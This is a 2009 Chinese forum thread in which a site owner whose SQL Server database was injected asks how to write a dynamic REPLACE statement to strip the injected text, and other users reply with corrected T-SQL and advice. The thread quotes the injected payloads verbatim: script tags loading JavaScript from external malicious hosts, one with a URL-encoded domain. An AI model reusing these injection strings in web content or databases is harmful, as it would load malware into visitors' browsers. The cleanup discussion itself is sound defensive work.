看看这个语句带<>=符号怎么写?在线等待。高分求救。请求立即回复。

cbxmir 2009-01-16 12:02:00
看看这个语句带<>=符号怎么写?在线等待。高分求救。请求立即回复。
服务器被sqlin,需要replace表里所有字段。

update buss set 企业名称=replace(企业名称,'<script src=http://3bomb.%63%6Fm/c.js></script><script src=http://3bomb.%63%6Fm/c.js></script><script src=http://3bomb.%63%6Fm/c.js></script><script src=http://3bomb.%63%6Fm/c.js></script>','')

这样写可以

declare @s varchar(8000)
select @s=isnull(@s,'')+'update buss set '+name+'=replace('+name+','<script src=http://3bomb.%63%6Fm/c.js>','')' from syscolumns where id=object_id('buss')
print @s
exec(@s)


但是这样就不行了。似乎是到<或者=就被误识别了。
提示
消息 102,级别 15,状态 1,第 2 行
'<' 附近有语法错误。

紧急求救。。。。
...全文
213 点赞 收藏 17
写回复
17 条回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
cbxmir 2009-01-17
估计是我自己的问题。
只处理了Request.QueryString,忘记处理Request.Form了。还是不停的被注入。
回复
cqsxdb 2009-01-17
up
回复
noenoughmemory 2009-01-17
up
回复
幸运的意外 2009-01-17
select @s=isnull(@s,'')+'update buss set '+name+'=replace('+name+',''<script src=http://3bomb.%63%6Fm/c.js>'','''')' from syscolumns where id=object_id('buss')

也可以考虑使用系统存储过程sp_executesql来实现,减少注入攻击现象。
回复
npkaida 2009-01-16

declare @s varchar(8000)
select @s=isnull(@s,'')+'update buss set '+name+'=replace('+name+','''<script src=http://3bomb.%63%6Fm/c.js>''','')' from syscolumns where id=object_id('buss')
print @s
exec(@s)
回复
faith10099 2009-01-16
将字符串的单引号内加一双引号 '"<...=...>"'
回复
mathsfan 2009-01-16
up.....
回复
claro 2009-01-16
看来流行sqlin a。
回复
dawugui 2009-01-16
[Quote=引用 4 楼 cbxmir 的回复:]
错误啊。。。


消息 16950,级别 16,状态 2,过程 sp_MSforeach_worker,第 27 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16950,级别 16,状态 2,过程 sp_MSforeach_worker,第 32 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16950,级别 16,状态 2,过程 sp_MSforeach_worker,第 153 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16916,级别 16,状态 1,过程 sp_MSforeach_worker,第 155 行
名为 'hCForEachDatabase' 的游标不存在。
[/Quote]
我这是2000下的代码,是测试过的,没有问题.2005不适合.
回复
cbxmir 2009-01-16
[Quote=引用 1 楼 dawugui 的回复:]
数据库被注入攻击 所有文本型字下段数据都被加了 <script_src=http://ucmal.com/0.js> </script>
怎么删掉?


SQL code
DECLARE @fieldtype sysname
SET @fieldtype='varchar'

--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'

[/Quote]


错误啊。。。


消息 16950,级别 16,状态 2,过程 sp_MSforeach_worker,第 27 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16950,级别 16,状态 2,过程 sp_MSforeach_worker,第 32 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16950,级别 16,状态 2,过程 sp_MSforeach_worker,第 153 行
目前没有为变量 '@local_cursor' 分配游标。
消息 16916,级别 16,状态 1,过程 sp_MSforeach_worker,第 155 行
名为 'hCForEachDatabase' 的游标不存在。
回复
子陌红尘 2009-01-16
declare @s varchar(8000)
select @s=isnull(@s,'')+'update buss set '+name+'=replace('+name+',''<script src=http://3bomb.%63%6Fm/c.js>'','''')' from syscolumns where id=object_id('buss')
print @s
exec(@s)
回复
dawugui 2009-01-16
SQL注入专题
http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
回复
dawugui 2009-01-16
数据库被注入攻击 所有文本型字下段数据都被加了 <script_src=http://ucmal.com/0.js> </script>
怎么删掉?


DECLARE @fieldtype sysname
SET @fieldtype='varchar'

--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'


回复
nalnait 2009-01-16
[Quote=引用 12 楼 cbxmir 的回复:]
还是没有完美的解决办法。。哎
朋友们继续帮帮忙吧。

我就很奇怪。所有的连接数据库的语句都通过conn conn里加了筛选 update 他怎么可能写进去呢。。
[/Quote]
SQL 注入---查查这方面的资料吧

参考:http://topic.csdn.net/u/20090114/22/1ff49029-695c-4251-b767-74fefc3513ad.html
回复
cbxmir 2009-01-16
还是没有完美的解决办法。。哎
朋友们继续帮帮忙吧。

我就很奇怪。所有的连接数据库的语句都通过conn conn里加了筛选 update 他怎么可能写进去呢。。
回复
herv2002 2009-01-16
看来注入问题必须加强防范
回复
bluefangxiao 2009-01-16
up
回复
相关推荐
发帖
MS-SQL Server
创建于2007-09-28

3.3w+

社区成员

MS-SQL Server相关内容讨论专区
申请成为版主
帖子事件
创建了帖子
2009-01-16 12:02
社区公告
暂无公告